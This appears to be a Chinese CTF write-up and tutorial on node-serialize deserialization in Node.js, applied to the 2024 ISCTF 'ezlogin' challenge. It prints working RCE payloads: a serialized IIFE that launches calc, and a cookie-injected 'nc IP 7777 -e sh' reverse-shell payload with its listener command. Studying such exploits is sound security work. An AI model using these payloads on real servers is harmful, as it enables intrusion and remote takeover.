前言:
第一次碰到,做2024isctf碰到的一题node-serialize反序列化,之前已经写了一篇pickle反序列化了就顺带再写一篇
一、node-serialize模块
node-serialize
是一个用于 JavaScript 和 Node.js 的第三方模块,它的主要作用是提供一种更灵活的序列化和反序列化对象的方法,特别是对于那些不能用标准 JSON 序列化的对象。
安装模块:npm install node-serialize
本文利用的IDE:WebStorm
二、序列化与反序列化
与php序列化和反序列化相似
序列化:serialize()将复杂的对象转化为字符串,便于存储和传输
1
2
3
4
5
6
7
8
9var obj = { //定义一个对象obj
execCalc: function(){ //定义一个方法execCalc
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) }); //调用child_process模块执行系统命令calc。回调函数将接收执行的结果或错误信息,如果执行成功,stdout将包含命令输出。
}
};
var s = require('node-serialize'); //定义一个对象s并调用node-serialize模块
console.log(s.serialize(obj)); //调用node-serialize模块里的serialize方法,并打印序列化结果
//{"execCalc":"_$$ND_FUNC$$_function(){\r\n require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n }"}反序列化:unserialize()将字符串转化为对象
1
2
3
4
5var s = require('node-serialize');
var payload = '{"execCalc":"_$$ND_FUNC$$_function(){\\r\\n require(\'child_process\').exec(\'calc\', function(error, stdout, stderr){ console.log(stdout) });\\r\\n }"}' //_$$ND_FUNC$$_为特殊标识符
s.unserialize(payload);
三、child_process模块
上面提到一个child_process模块
child_process创建子进程主要的方式与popen类似但是不相同,主要依靠child_process.spawn()
child_process提供了两种创建子进程的方式:
- 异步方式:
child_process.spawn(command[, args][, options])
- 同步方式:
child_process.spawnSync(command[, args][, options])
异步方式不会阻塞 Node.js 事件循环
同步方式提供等效的功能,但会阻塞事件循环,直到衍生的进程退出或终止。
为了方便,nodejs提供了一些同等作用的替代方法
异步:
child_process.exec(command[, options][, callback])
:衍生 shell 并在该 shell 中执行命令,完成后将stdout
和stderr
传给回调函数。child_process.execFile(file[, args][, options][, callback])
:直接衍生命令并在可执行文件中执行,而不先衍生 shell,比child_process.exec()
更有效率。child_process.fork(modulePath[, args][, options])
:衍生新的 Node.js 进程并使用建立的 IPC 通信通道(其允许在父子进程之间发送消息)调用指定的模块。同步:
child_process.execSync(command[, options])
:与child_process.exec()
作用等效,但会阻塞 Node.js 事件循环。child_process.execFileSync(file[, args][, options])
:与child_process.execFile()
作用等效,但会阻塞 Node.js 事件循环。
对于自动化脚本来说,同步方式更为方便。但是,在许多情况下,同步方式在衍生的进程完成前才会停止事件循环,所以会对性能产生重大影响。
具体函数的使用方法参考:Node.js v22.12.0 文档
四、漏洞利用
RCE
当然想要命令执行的话,单用serialize()和unserialize()函数无法进行命令执行执行。还需要利用IIFE。
IIFE(Immediately Invoked Function Expression):立即调用的函数表达式,即声明函数的同时立即调用该函数,目的是为了隔离作用域,防止污染全局命名空间。
1 | (function(){<code>}()); |
弹计算器:
1 | (function() { |
反序列化弹计算器:
1 | var s = require('node-serialize'); |
五、例题
2024isctf ezlogin
下载源码后审计,可以发现反序列化的漏洞点
1 | function auth(req, res, next) { //定义一个auth并接收三个参数 |
找到触发反序列化的地方cookie
开始构造payload
1 | _$$ND_FUNC$$_function (){require('child_process').exec('nc IP 7777 -e sh');}() |
服务器端:nc -lvvp 7777
先用这个payload当用户名注册一下,然后登入即可反弹shell
根据代码此时的token为
1 | { |
但是这题的复现环境不知道怎么回事,就是弹不成,用nc、bash都弹不成不知道是什么问题,看了好几篇wp都是这种做法太奇怪了
参考资料:
https://nodejs.cn/api/child_process.html